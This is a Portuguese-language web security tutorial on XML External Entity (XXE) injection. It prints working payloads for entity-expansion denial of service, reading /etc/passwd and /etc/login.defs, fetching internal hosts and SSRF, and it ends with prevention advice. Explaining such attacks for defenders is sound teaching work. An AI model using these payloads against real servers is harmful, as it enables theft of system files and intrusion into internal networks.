XML External Entities (XXE) | Solyd One
- XML External Entities (XXE) | Solyd One
- A XML External Entity Injection (XXE) é uma vulnerabilidade de segurança da web que permite a um invasor interferir no processamento de dados XML de uma aplicação. Esta vulnerabilidade pode permitir que um invasor visualize arquivos no sistema de arquivos do servidor de aplicação e interaja com qualquer sistema back-end ou externo que a aplicação possa acessar. Em algumas circunstâncias, um invasor pode intensificar um ataque XXE para comprometer o servidor subjacente ou outra infraestrutura back-end, utilizando a vulnerabilidade XXE para realizar Server-Side Request Forgery.
Processar arquivos XML's no banckend precisa ser validado com cautela porque pode ocorrer de derrubar a aplicação
5 Exemplos de Payloads de Ataque XXE
Ataques de Exaustão de Recursos
O ataque XML mais básico, embora não seja estritamente um ataque de entidade externa XML, é o chamado ataque “billion laughs”. Esse ataque é mitigado na maioria dos parsers XML modernos, mas ajuda a ilustrar como funcionam os ataques XML.
Exemplo de definição DOCTYPE que cria uma nova entidade XML:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE laugh [
<!ELEMENT laugh ANY>
<!ENTITY LOL "LOL">
<!ENTITY LOL1 "&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;">
<!ENTITY LOL2 "&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;">
<!ENTITY LOL3 "&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;">
]>
<laugh>&LOL3;</laugh>
O parser XML interpreta esse código e expande cada entidade, gerando um grande número de “LOLs”.
Esse exemplo gera algumas centenas de strings LOL, mas em um cenário em larga escala, o código poderia gerar bilhões de linhas, esgotando a memória do servidor. Outra forma de alcançar o mesmo efeito é referenciar uma string muito longa ou infinita, como /dev/urandom em sistemas Linux.
Ataques de Extração de Dados
Os ataques XML ficam mais interessantes quando envolvem entidades externas. Uma entidade externa (definida em um servidor controlado pelo atacante) pode referenciar URIs no servidor local e recuperar conteúdo sensível do sistema de arquivos.
Por exemplo, o código abaixo retorna o conteúdo do arquivo login.defs (que define configurações de login) em um sistema Linux vulnerável:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE malicious [
<!ELEMENT malicious ANY>
<!ENTITY external SYSTEM "file:////etc/login.defs">
]>
<malicious>&external;</malicious>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<note>
<body>&xxe;</body>
</note>
A response vai conter o resultado do caminho definido no arquivo
XXE também pode ser usado para escanear portas ou recuperar dados de outros hosts conectados ao sistema-alvo. Exemplo:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE malicious [
<!ELEMENT malicious ANY>
<!ENTITY external SYSTEM "http://10.0.0.5/sensitive.txt">
]>
<malicious>&external;</malicious>
Ataques SSRF
Além de roubar dados sensíveis, ataques XXE podem ser usados para realizar Server-Side Request Forgery (SSRF), forçando um servidor a fazer requisições HTTP para URLs acessíveis internamente.
Exemplo:
<!DOCTYPE malicious [
<!ENTITY external SYSTEM "http://sensitive-system.company.com/">
]>
Isso força o servidor a fazer uma requisição HTTP interna.
Recuperação de Arquivos
O atacante explora o XXE para recuperar arquivos que contenham a definição de uma entidade externa com o conteúdo do arquivo. A aplicação então retorna esses arquivos na resposta.
Passos típicos:
- Inserir ou editar um elemento
DOCTYPEdefinindo uma entidade com o caminho para o arquivo desejado. - Editar valores de dados no XML submetido para usar a entidade externa.
Blind XXE
O Blind XXE é usado para roubar ou exfiltrar dados quando não há resposta direta visível. O servidor é induzido a enviar informações para um sistema externo controlado pelo atacante.
Também pode ser explorado para gerar mensagens de erro contendo dados sensíveis.
Como Prevenir Injeções XXE
WAF Gerenciado com Regras Customizadas
Um Web Application Firewall (WAF) protege a camada de aplicação da rede, filtrando tráfego de entrada e saída.
- Pode bloquear entradas XXE óbvias.
- Soluções avançadas detectam ataques sutis com análise comportamental.
- Uso de allowlists/denylists melhora a proteção sem precisar corrigir imediatamente o componente vulnerável.
Instrumentação do Servidor de Aplicação
A instrumentação insere sensores no código para monitorar execução em tempo real.
- Permite detectar atividades suspeitas no processamento de XML.
- Pode impedir execução de código externo via entidades XML.
- Pode limitar a taxa de requisições XML, reduzindo risco de ataques DoS.
Tecnologias como RASP (Runtime Application Self-Protection) e IAST (Interactive Application Security Testing) dependem desse recurso.